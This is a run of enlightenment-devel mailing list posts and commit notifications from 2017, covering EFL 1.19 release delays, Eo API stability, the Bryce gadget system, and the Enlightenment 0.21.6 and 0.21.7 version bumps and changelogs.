On 04/11/2017 12:25 AM, Gustavo Sverzut Barbieri wrote: > On Mon, Apr 10, 2017 at 6:06 AM, Carsten Haitzler > wrote: >> On Sun, 9 Apr 2017 12:09:08 -0300 Gustavo Sverzut Barbieri >> >> said: >> >> Is it an old need? At least on OSX and modern Windows apps are encouraged to >> fit in and look "standard" and users want it there... :) > > more and more apps move to individual looks, this happened before > (remember Nero CD Burner and the likes? Winamp?) but after smartphones > almost no app wants to use the "system look and feel". Each app wants > their own brand, theme and impact... Yet us users wish that all apps still look consistent .... Designers have been given too much power they should have less :-P -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, Slashdot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] changing development of core apps and E itself
On 04/10/2017 12:21 PM, Gustavo Sverzut Barbieri wrote: > On Sun, Apr 9, 2017 at 9:38 PM, Simon Lees wrote: >> On 04/10/2017 12:39 AM, Gustavo Sverzut Barbieri wrote: >>> Hi all, >>> >> >> Enlightenment is using it in some places and some E widgets are no >> longer used, however given that the plan is to rewrite the all the >> configs anyway no one has bothered to replace them all with elementary, >> once this is done then e widgets will likely be removed. > > yes, but my point below is when we do that, try to do in the highest > possible way, like using lua, mvc whenever appropriated, etc. > Well my personal experience from working on large scale software projects suggests that for larger projects you don't want too high a language as loosing your compile time type checking etc tends to lead towards more bugs and less manageable software. That is why personally I prefer C++ or maybe C for larger projects, I guess for some E modules you could probably get away with it. As with smaller elementary based applications although if I was going to write one I'd probably use python. That however, just brings us to probably what is your bigger hurdle, Enlightenment developers tend to be old and grumpy and still like to do everything in C for reasons that escape me :-P > >>> - Could we eliminate all custom FS -> List/View code paths and use >>> the MVC that gives you that? >>> >>> From IRC talks it's clear that our technology is not there yet, of >>> course Eo needs to be declared stable, eolian_lua needs some work and >>> MVC is still immature... but my bet is that unless we commit to the >>> above these will never happen, >>> >> The reason the 1.19 release is now dragging out to 7 months is because >> eo hasn't been declared stable and from what it seems like know one has >> the time to put in to get this finished. As a result releases are harder >> because some apps like eflete and enventor are using eo and whenever efl >> is released we need to sync there release as well. > > Developers disagree on how to get Eo out... this is another issue. My > personal take on this is we should sync everything for a while and > force strict version dependency of all apps and EFL until it's fully > done. > Speaking with a distro maintainers hat on I will simply say that idea is Madness and can't happen :-P (Being like that with 1-2 apps is hard enough already). The only way we can move forward here is if we can get a api we are willing to call stable then release it. > If we try to provide "super stable, never breaks API/ABI" it will > impact immensely the small development team we have and you can expect > 1.19-like experience for all other releases. > I far prefer these experiences to releasing every 3 months then having to update every piece of software using efl every 3 months. -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, Slashdot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] changing development of core apps and E itself
s you that? > > From IRC talks it's clear that our technology is not there yet, of > course Eo needs to be declared stable, eolian_lua needs some work and > MVC is still immature... but my bet is that unless we commit to the > above these will never happen, > The reason the 1.19 release is now dragging out to 7 months is because eo hasn't been declared stable and from what it seems like know one has the time to put in to get this finished. As a result releases are harder because some apps like eflete and enventor are using eo and whenever efl is released we need to sync there release as well. So my main question is if we have a poll and the community decides on what should be done, who is actually going to step up and do it? -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, Slashdot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] E22 -> (Bryce / Shelf) -> (Gadgets / New Gadgets) -> (Confusion / No Confusion)
On 04/09/2017 09:21 PM, Al Poole wrote: > Hi all, > > Regarding the next e22 release, at least regarding the Bryce and the new > gadget system. > > The following might be a good idea: > > >- Keep the existing shelves and disable end-user exposure to the bryce. >- Use the new gadgets for all desktop gadgets. > > This would be no confusion between shelf and bryce and the existing desktop > gadgets and the new ones. It would mean a stable panel and exposure of the > new gadget system and no confusion between for end users. Until the Bryce > becomes more reliable? > > E.g. E21 exposes the Bryce, and I don't know why, it's very confusing. > > See what you think about that. > > Thanks! > > Al I think that by the time we release e22 (whenever that maybe) bryce will be pretty close to ready, ie shelf positioning will be fixed and all the important widgets will be ported. Given that I think it should ship in e22 alongside the old shelf as a "Tech Preview" that way people who want can use it and find any minor bugs to help us. We can then aim to drop it for e23 but before that can be done we need to make sure that we can correctly migrate older shelf configs to bryce. It may have been a mistake to include it in e21 as it wasn't really ready (at the same time its hard to find). -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, Slashdot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] 1.19 release imminent?
On 04/09/2017 08:50 AM, Christophe Sadoine wrote: > Hello, > I don't mind about the time of the release but I would like to mention > something :) > About this: > >> If we can't find a core app this affects I agree we should release. > > and this: > >>> What code actually uses this in any of our core applications? will it >>> show up as a bug in e or terminology? if so we should wait if not just >>> fix it for 1.19.1 > > I think "not finding a core app" shouldn't be an argument to be able to > release. > We don't know everyone who is using efl and what api they are using. > They might not be following the list and phab issues. > Some people might try efl and on the next release see his application > broken and give up. > Well really these people should be reading the release notes before updating (and the bug should be mentioned clearly in the release notes), then these people can simply hold off on there update. I don't think that this is a general rule that we should apply but something on a case by case basis and only where its not a core feature and its likely that the fix is going to take a week or two for various reasons rather then being only a day or 2 away. -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, Slashdot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] 1.19 release imminent?
On 04/08/2017 09:55 AM, Stefan Schmidt wrote: > Hello. > > On 04/07/2017 08:04 PM, Simon Lees wrote: >> >> >> On 04/08/2017 08:23 AM, Andrew Williams wrote: >>> Hi, >>> >>> So it's a month after the revised release date and we've been in beta for 2 >>> months with a freeze on anything but bug fixes. Can we just call it at this >>> stage? There will be a 1.19.1 - what is still blocking us from release? > > What is blocking us all the time is that once one blocker is fixed > another one springs up. :) > >>> It's unclear if the recent blockers have been new since 1.18 or if we just >>> want to be better across the board but at this stage I feel like we're >>> holding up feature work. >>> >>> Any other thoughts? I know folk are working hard on stuff but I'd like to >>> get this line drawn as soon as possible. >>> >>> Cheers, >>> Andy >>> >> >> We did get a beta4 Stefan hasn't been on IRC the last couple of days so >> maybe he's away atm, that would hold up a release. > > Traveling but still looking after things, Just not on IRC. > > What holds up the release from my side right now is: > https://phab.enlightenment.org/T5339 > > I wanted to hear from Gustavo if he can reproduce this. > > We could release with this bug open and have it for 1.19.1, but every > time I proposed something like this before people told me to wait and > release with bug n+1 fixed. > > regards > Stefan Schmidt > What code actually uses this in any of our core applications? will it show up as a bug in e or terminology? if so we should wait if not just fix it for 1.19.1 -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, Slashdot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] 1.19 release imminent?
On 04/08/2017 08:23 AM, Andrew Williams wrote: > Hi, > > So it's a month after the revised release date and we've been in beta for 2 > months with a freeze on anything but bug fixes. Can we just call it at this > stage? There will be a 1.19.1 - what is still blocking us from release? > > It's unclear if the recent blockers have been new since 1.18 or if we just > want to be better across the board but at this stage I feel like we're > holding up feature work. > > Any other thoughts? I know folk are working hard on stuff but I'd like to > get this line drawn as soon as possible. > > Cheers, > Andy > We did get a beta4 Stefan hasn't been on IRC the last couple of days so maybe he's away atm, that would hold up a release. -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, Slashdot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] edevelop.slack.com experiment
On 03/22/2017 01:22 AM, Gustavo Sverzut Barbieri wrote: > Hi all, > > I'm doing an experiment with slack.com as IRC alternative. I'm no > expert in slack, first time I ever used, if you have more experience > let me know so I can add you as admin. > > So far, the web-browser version is as usable as the app, at least on > Linux/Chrome, so no install is required. It looks quite nice and also > provides phone applications (iOS version is very good). I also liked > that it have built-in "pastebin", just click the "[+]" at the left > side of the message box to send one. > Can you please enable the "IRC Bridge" then those of us who want to can connect from within our IRC client (I currently do this with several slack channels). Can you also send a invite to simon at simotek dot net (rather then this email). Cheers -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, Slashdot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
[EGIT] [core/enlightenment] enlightenment-0.21 03/04: 21.7 Release
simotek pushed a commit to branch enlightenment-0.21. http://git.enlightenment.org/core/enlightenment.git/commit/?id=48e8fb28b5d6c71786fa72e1e55d91f2f54a66cb commit 48e8fb28b5d6c71786fa72e1e55d91f2f54a66cb Author: Simon Lees Date: Tue Mar 7 19:35:27 2017 +1030 21.7 Release --- configure.ac | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/configure.ac b/configure.ac index f08a088..ca611de 100644 --- a/configure.ac +++ b/configure.ac @@ -2,11 +2,11 @@ ##--##--##--##--##--##--##--##--##--##--##--##--##--##--##--##--## m4_define([v_maj], [0]) m4_define([v_min], [21]) -m4_define([v_mic], [6]) +m4_define([v_mic], [7]) m4_define([v_rev], m4_esyscmd([(git rev-list --count HEAD 2>/dev/null || echo 0) | tr -d '\n']))dnl ##-- When released, remove the dnl on the below line m4_undefine([v_rev]) -m4_define([relname], [0.21.6]) +m4_define([relname], [0.21.7]) ##-- When doing snapshots - change soname. remove dnl on below line m4_define([relname], [ver-0.21]) dnl m4_define([v_rel], [-release relname]) --
[EGIT] [core/enlightenment] enlightenment-0.21 04/04: 21.7 NEWS Updates
simotek pushed a commit to branch enlightenment-0.21. http://git.enlightenment.org/core/enlightenment.git/commit/?id=4f267f8090f99bc7740106d6bbc174c6f6266dbf commit 4f267f8090f99bc7740106d6bbc174c6f6266dbf Author: Simon Lees Date: Tue Mar 7 19:35:43 2017 +1030 21.7 NEWS Updates --- NEWS | 55 +++ 1 file changed, 55 insertions(+) diff --git a/NEWS b/NEWS index 96d2bd0..2655f16 100644 --- a/NEWS +++ b/NEWS @@ -1,3 +1,58 @@ +Release 0.21.7: +- +Carsten Haitzler (19): + enlightenment_sys - eina_init BEFORE switching uid - safer + e ervything md5 code - fix warnings about alignment + e fileman config - fix definite alignment bug with cast char to int ptr + e theme conf config - fix casting char fileds to int ptrs + e ptr cast via void fix to reduce warnings + efm ipc - fix unaligned int read on ipc decode + e comp x - fix property fetch to use int ptr from the start + e xsettings - fix warnings about unaligned ptr access + e comp - wl - add void cast to reduce warnings + e notification - silence alignment warning + efm - fix warnings for progress time display + evry module - fix warning about comparing signed to unsigned + e mixer pulse backened -f ix warning about use of uninit var + e comp object - fix warning where a void cast is as goos as the old one + e comp - fix stupid cast to from eina rect* to char* to eina rect* again + e comp - quiet some warnings for casts that are ok + tiling module - fix some warnings with casts and alignment + efx - fix unaligned ptr fill that is actually a bug + efm - fix nuisance warning about enlightenment + +Derek Foreman (1): + Dispatch wayland frame callbacks in the correct order + +Marcel Hollerbach (1): + tiling: dont use floating state when toggling + +Mike Blumenkrantz (24): + Revert "re-enable getting and setting output rotations in wl_drm" + make e_pointer_object_set() a no-op when passing the existing cursor + simplify mouse-out cursor reset for wl clients + use 1x1 for unsized (internal) clients + hide wl client cursors when set_pointer is passed a null surface + add note in doc for "gadget_destroyed" callback re: callback ordering + ref clients during exe_inst deletion to avoid invalid access after free + start xwayland process 2.0s after module load + only unset current pointer cursor object if new one is being set + force mouse-out on wl clients during delete if mouse.in is set + Revert "attempt to re-set wl surface pointer when popping back to "default" pointer type" + reset compositor pointer cursor if wl surface destroy is the current cursor + add specific handling for xwl cursor unsetting on mouse-out to ssd + move wl data device focus-change handling to data device leave() fn + simplify _e_comp_wl_data_device_drag_finished() slightly + more correctly handle dnd completion for wl + fix return code checking for errors when generating wl key events + future-proof client hook inlist initialization + always set E_Client->placed when successfully moving a comp object + ignore all non-NORMAL type wl windows in e_place + save config when toggling option to disable startup splash + only move new bryces to zone on create, not existing ones + show already-visible comp util objects when changing frame type + Revert "e - wl mode - stop consuming 100 percent cpu" + Release 0.21.6: - Andreas Metzler (1): --
Re: [E-devel] [EGIT] [core/enlightenment] master 01/01: Revert "Revert "mixer: do not set back the value from emix once the drag is finished""
On 02/24/2017 01:03 AM, marcel-hollerb...@t-online.de wrote: > On Thu, Feb 23, 2017 at 03:13:18PM +0100, michael bouchaud wrote: >> 2017-02-23 14:11 GMT+01:00 : >> The "current" is the current value of pulseaudio, and if pulseaudio change >> this >> value we will got an event who update the value and the slider. > >> The user don't complain about bouncing slider, but because he got wrong >> value displayed by the slider. > > The video obviously shows how the slider bounces back and forth ... > so the user complained about the bouncing slider. Just read the commit > message you reverted, and you get to the video where you see the bug. > While in most cases i'd agree that showing the actual volume is better, i've experienced the bouncing around and it basically makes the slider unusable so unfortunately in this case I don't think we can show the actual volume, pulse will catch up soon enough. -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, SlashDot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
[E-devel] Enlightenment DR 0.21.6 Release
CHANGES https://git.enlightenment.org/core/enlightenment.git/tree/NEWS?h=v0.21.6 TICKETS ADDRESSED * https://phab.enlightenment.org/T2452 * https://phab.enlightenment.org/T2579 * https://phab.enlightenment.org/T5077 SHA256SUM + DOWNLOAD 63df61b30decf2efa5d60449ab8c79aebc2396ddac20b4d4ce942f6442a1debc http://download.enlightenment.org/rel/apps/enlightenment/enlightenment-0.21.6.tar.gz ed0714b54d692cbcec412bdb169e5360355347ce775d27d6ae0cee25111b563d http://download.enlightenment.org/rel/apps/enlightenment/enlightenment-0.21.6.tar.xz See the full announcement for more details: https://www.enlightenment.org/news/e21_6_release -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, SlashDot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
[EGIT] [core/enlightenment] enlightenment-0.21 01/02: 21.6 Release
simotek pushed a commit to branch enlightenment-0.21. http://git.enlightenment.org/core/enlightenment.git/commit/?id=9c5ae9a47a9ec2299f0677e467d258458c91e7ce commit 9c5ae9a47a9ec2299f0677e467d258458c91e7ce Author: Simon Lees Date: Wed Feb 15 13:45:22 2017 +1030 21.6 Release --- configure.ac | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/configure.ac b/configure.ac index e3b8808..f08a088 100644 --- a/configure.ac +++ b/configure.ac @@ -2,11 +2,11 @@ ##--##--##--##--##--##--##--##--##--##--##--##--##--##--##--##--## m4_define([v_maj], [0]) m4_define([v_min], [21]) -m4_define([v_mic], [5]) +m4_define([v_mic], [6]) m4_define([v_rev], m4_esyscmd([(git rev-list --count HEAD 2>/dev/null || echo 0) | tr -d '\n']))dnl ##-- When released, remove the dnl on the below line m4_undefine([v_rev]) -m4_define([relname], [0.21.5]) +m4_define([relname], [0.21.6]) ##-- When doing snapshots - change soname. remove dnl on below line m4_define([relname], [ver-0.21]) dnl m4_define([v_rel], [-release relname]) --
[EGIT] [core/enlightenment] enlightenment-0.21 02/02: 21.6 NEWS Updates
simotek pushed a commit to branch enlightenment-0.21. http://git.enlightenment.org/core/enlightenment.git/commit/?id=5771d4691be4741e3bbc6f490779cf8349b6032c commit 5771d4691be4741e3bbc6f490779cf8349b6032c Author: Simon Lees Date: Wed Feb 15 13:58:54 2017 +1030 21.6 NEWS Updates --- NEWS | 42 ++ 1 file changed, 42 insertions(+) diff --git a/NEWS b/NEWS index 0aed663..96d2bd0 100644 --- a/NEWS +++ b/NEWS @@ -1,3 +1,45 @@ +Release 0.21.6: +- +Andreas Metzler (1): + 10_typo_restore_LDFLAGS.diff: Fix typo in configure.ac (upstream), causing empty LDFLAGS. + +Carsten Haitzler (8): + tasks - calculate min width properly given a known height of a gadget + efm - warning - change invalid #if toe #ifdef as this is right + efm - fix ifs to be ifdef as they should be + e bindings - fix warnings about possible use of undefined var + appmenu - make appmenu work with click+release and not hide on focus out + ibar - fix seg with ibar icon task menus are up while desktop files change + e - wl mode - stop consuming 100 percent cpu + e dialog - fix unreszable dialogs to not be 1x1 + +Christopher Michael (2): + Use proper coordinate adjustment + re-enable getting and setting output rotations in wl_drm + +Derek Foreman (3): + Fix wayland frame callback times + Use a monotonic clock for frame callback times + Stop sending wayland motion events when the mouse is grabbed + +Mike Blumenkrantz (11): + null out animator pointers in efx stop() operations + correctly set E_POINTER_RESIZE_BR mode for client keyboard resizing + plug iterator leak in e_comp_object_render() + remove extra SLEEP prints during startup on non-release builds + free configs for demo gadgets on object free + do not perform frame coord adjustments for re_manage wayland clients + use persistent clipping for comp object input rects + ensure that gadget internal del callbacks are handled before other callbacks + handle pixmap_refresh() failure cases more accurately under wayland + reset demo gadget id before deleting gadget object during drop operation + add conditional updates for latest efl apis + +Stephen 'Okra' Houston (2): + Enlightenment: Make gadget editor popup scrollable: + Enlightenment: Wireless gadget - place the ctxpopup after the size hints are set, not before + + Release 0.21.5: - Carsten Haitzler (1): --
Re: [E-devel] EET Python Bindings
On 02/14/2017 05:41 PM, Carsten Haitzler (The Rasterman) wrote: > On Tue, 14 Feb 2017 15:15:19 +1030 Simon Lees said: > >> >> >> On 02/14/2017 10:47 AM, Carsten Haitzler (The Rasterman) wrote: >>> On Mon, 13 Feb 2017 15:41:57 -0200 Gustavo Sverzut Barbieri >>> said: >>> >>>> On Mon, Feb 13, 2017 at 3:06 PM, Jeff Hoogland >>>> wrote: >>>>> Are there any plans to expand the python bindings to cover the EET library >>>>> to support working with .cfg files and such natively? >>>> >>>> usually bindings try to avoid covering bindings for things that are >>>> available natively, such as pickle in python. >>>> >>>> usually EFL offers high-level API to manage ".cfg" files and people >>>> are not supposedly to access them directly as the structure and fields >>>> may change, being versioned per app... like Enlightenment uses an >>>> integer and ships with migration for various versions. Elementary >>>> offers "config" APIs and utility, Edje uses its own API... >>>> >>>> That said, if there is a case to open "eet" directly, it can be added. >>>> But my recommendation is to stay out of it as much as possible. >>> >>> my bet is jeff is trying to mess with e's config files from outside of e >>> directly with python apps. >>> >>> thanks god e's and efl's design were specifically to discourage this and >>> make it hard... eet was intended for native use (c/c++) to expose data in >>> structures native to these languages and save them again etc. etc. ... so >>> while theoretically possible to somehow do from python... it wasn't >>> designed to make this easy and realistically you'd have to rewrite eet in >>> python directly or at least the data 3encoder/decoder bits... :) >>> >> >> In other words its probably easier to write a c lib to use eet to access >> whichever .cfg files you would like to access and from there write a >> python lib to call those specific wrapper functions etc. > > even then it's better to write a c module to expose some dbus api's from e to > swizzle the config u want to swizzle... because e will like to overwrite its > cfg files whenever it feels like it from what is in its memory... :) > > And even better then that such a module already exists so you just need to add to it :-) -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, SlashDot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] EET Python Bindings
On 02/14/2017 10:47 AM, Carsten Haitzler (The Rasterman) wrote: > On Mon, 13 Feb 2017 15:41:57 -0200 Gustavo Sverzut Barbieri > said: > >> On Mon, Feb 13, 2017 at 3:06 PM, Jeff Hoogland >> wrote: >>> Are there any plans to expand the python bindings to cover the EET library >>> to support working with .cfg files and such natively? >> >> usually bindings try to avoid covering bindings for things that are >> available natively, such as pickle in python. >> >> usually EFL offers high-level API to manage ".cfg" files and people >> are not supposedly to access them directly as the structure and fields >> may change, being versioned per app... like Enlightenment uses an >> integer and ships with migration for various versions. Elementary >> offers "config" APIs and utility, Edje uses its own API... >> >> That said, if there is a case to open "eet" directly, it can be added. >> But my recommendation is to stay out of it as much as possible. > > my bet is jeff is trying to mess with e's config files from outside of e > directly with python apps. > > thanks god e's and efl's design were specifically to discourage this and make > it hard... eet was intended for native use (c/c++) to expose data in > structures > native to these languages and save them again etc. etc. ... so while > theoretically possible to somehow do from python... it wasn't designed to make > this easy and realistically you'd have to rewrite eet in python directly or at > least the data 3encoder/decoder bits... :) > In other words its probably easier to write a c lib to use eet to access whichever .cfg files you would like to access and from there write a python lib to call those specific wrapper functions etc. -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, SlashDot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] Schedule discussion for 1.19
On 02/09/2017 12:42 AM, Stefan Schmidt wrote:
> Hello.
>
> On 07/02/17 10:37, Carsten Haitzler (The Rasterman) wrote:
>> On Tue, 7 Feb 2017 18:25:58 +1030 Simon Lees said:
>>
>>>
>>>
>>> On 02/06/2017 10:06 PM, Gustavo Sverzut Barbieri wrote:
>>>>
>>>> Time-based releases keep the expectations if they are followed. Once
>>>> we miss the frame, we start to have this feature-based releases ("oh,
>>>> waited so long, can wait a bit more") and when people work
>>>> independently, they always have some in-flux work that could get in...
>>>> so at some point these guys will want to delay a bit more so their
>>>> work gets in as well... endless wait -- AKA e17/efl-1.0
>>>>
>>>> IOW: just do it, and let's not miss the 3 month schedule next time. ;-)
>>>>
>>>>
>>>
>>> The problem is people (even some in Samsung) are writing software that
>>> depends on unstable eo, regardless of whether its wrong or right its
>>> happening. This means that every release there is an extra bunch of work
>>> for downstream projects to roll another release and then for distro's to
>>> package all theses changes.
>
> What are the offending packages you have to deal with here? As far as I
> know it neither Enlightenment nor Termonology nor Rage is using any EO
> based API.
>
> They only ones I know of are developer tools like Edi, Eventor and
> Efleete. Are these packaged in OpenSUSE?
>
These are the main ones, there packaged but not in the main repo's and
won't be until eo is stable. I held of packaging them at all for a long
time but every indication was given that interfaces would be done for
1.18 and I wanted to try them so I built packages. I can't remember if
ephoto also does, but I have test packages based off its last beta so if
it does it would probably also need another beta. efm/verne/jesus also
does but i'm only building that from git snapshots anyway so its less of
an issue.
In short really the people already using eo and those that want the
regular 3 month releases back to a lesser extent really need to pitch in
and get the work finished.
--
Simon Lees (Simotek)http://simotek.net
Emergency Update Team keybase.io/simotek
SUSE Linux Adelaide Australia, UTC+10:30
GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B
signature.asc
Description: OpenPGP digital signature
--
Check out the vibrant tech community on one of the world's most
engaging tech sites, SlashDot.org! http://sdm.link/slashdot___
enlightenment-devel mailing list
enlightenment-devel@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] Schedule discussion for 1.19
On 02/08/2017 11:59 PM, Felipe Magno de Almeida wrote: > I don't get the reluctance on releasing now. IMO, if we stop releasing > in a timely fashion, EFL will become full of bugs again. EFL was > becoming quite stable with the releases that Stefan has been managing. > If we start questioning the releases, we will always find reasons why > not to release now. But the benefits of releasing often and with > predictable periods have proven to be big IMO. > To be clear, i'm not against releasing now I think its probably a good idea, I was more against releasing 3 months back, when know one could tell me of any new features outside wayland (bug fixes don't count as they should be backported anyway). Similarly if there's not anything of note and eo interfaces still aren't done 2 months after the next release i'll again question if we should wait a bit longer again. Once eo is stable then everything will be easy again and we should go back to 3 months. -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, SlashDot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] Schedule discussion for 1.19
On 02/06/2017 10:06 PM, Gustavo Sverzut Barbieri wrote:
>
> Time-based releases keep the expectations if they are followed. Once
> we miss the frame, we start to have this feature-based releases ("oh,
> waited so long, can wait a bit more") and when people work
> independently, they always have some in-flux work that could get in...
> so at some point these guys will want to delay a bit more so their
> work gets in as well... endless wait -- AKA e17/efl-1.0
>
> IOW: just do it, and let's not miss the 3 month schedule next time. ;-)
>
>
The problem is people (even some in Samsung) are writing software that
depends on unstable eo, regardless of whether its wrong or right its
happening. This means that every release there is an extra bunch of work
for downstream projects to roll another release and then for distro's to
package all theses changes.
Until the eo interfaces are done the cost of releasing is high, so
releasing every 3 months for release sake when there isn't many new
features such as the last release of last year that didn't happen
doesn't make sense.
If we are now at a point where there is significant new things then lets
release now, if there is more significant new things in 3 months lets
release again then, if there is no new things in 3 months releasing
again then probably also doesn't make sense.
So in short, if we want to go back to 3 monthly releases lets get eo
interfaces done so releases stop being as much effort for a bunch of people.
Cheers, from the guy who gets to deal with the mess at the other end.
--
Simon Lees (Simotek)http://simotek.net
Emergency Update Team keybase.io/simotek
SUSE Linux Adelaide Australia, UTC+10:30
GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B
signature.asc
Description: OpenPGP digital signature
--
Check out the vibrant tech community on one of the world's most
engaging tech sites, SlashDot.org! http://sdm.link/slashdot___
enlightenment-devel mailing list
enlightenment-devel@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] Weekend project: distro-builder
On 02/01/2017 09:24 PM, ani...@astier.eu wrote: > On Wed, Feb 01, 2017 at 02:48:27PM +1030, Simon Lees wrote: >> >> On openSUSE atleast you can just install then uninstall efl-devel this >> will pull in all the deps automatically as the packages are kept up to >> date. Alternately the current list is available here, >> https://build.opensuse.org/package/view_file/X11:Enlightenment:Factory/efl/efl.spec?expand=1 >> >> >> Cheers >> -- >> >> Simon Lees (Simotek)http://simotek.net > > > Thanks Simon, great job on the packaging. It's true that in your case > "zypper si -d efl-devel" would be sufficient for the published version, > but what about git? What if a dev/CI wants to test that the current > git master or branch it still builds on openSUSE, but doesn't run > openSUSE? My goal was also to automate this properly. > The openSUSE build service commandline interface "osc" is available on several distro's so that + a spec file can be used to build for openSUSE + Fedora (maybe even debian and arch if we try hard enough) on one of several distros. There is a X11:Enlightenment:Nightly repo that needs some work (I might do some tomorrow), the seemingly likely adoption of cmake makes it likely that i'll fix it the easy way. Anyway that repo will have regular git builds again hopefully soon. > Of course, since dependencies aren't really modified everyday, it's a > bit of a niche usecase. That's why I was asking for feedback before > going further :-) > > Regards, > > Anisse > > -- > Check out the vibrant tech community on one of the world's most > engaging tech sites, 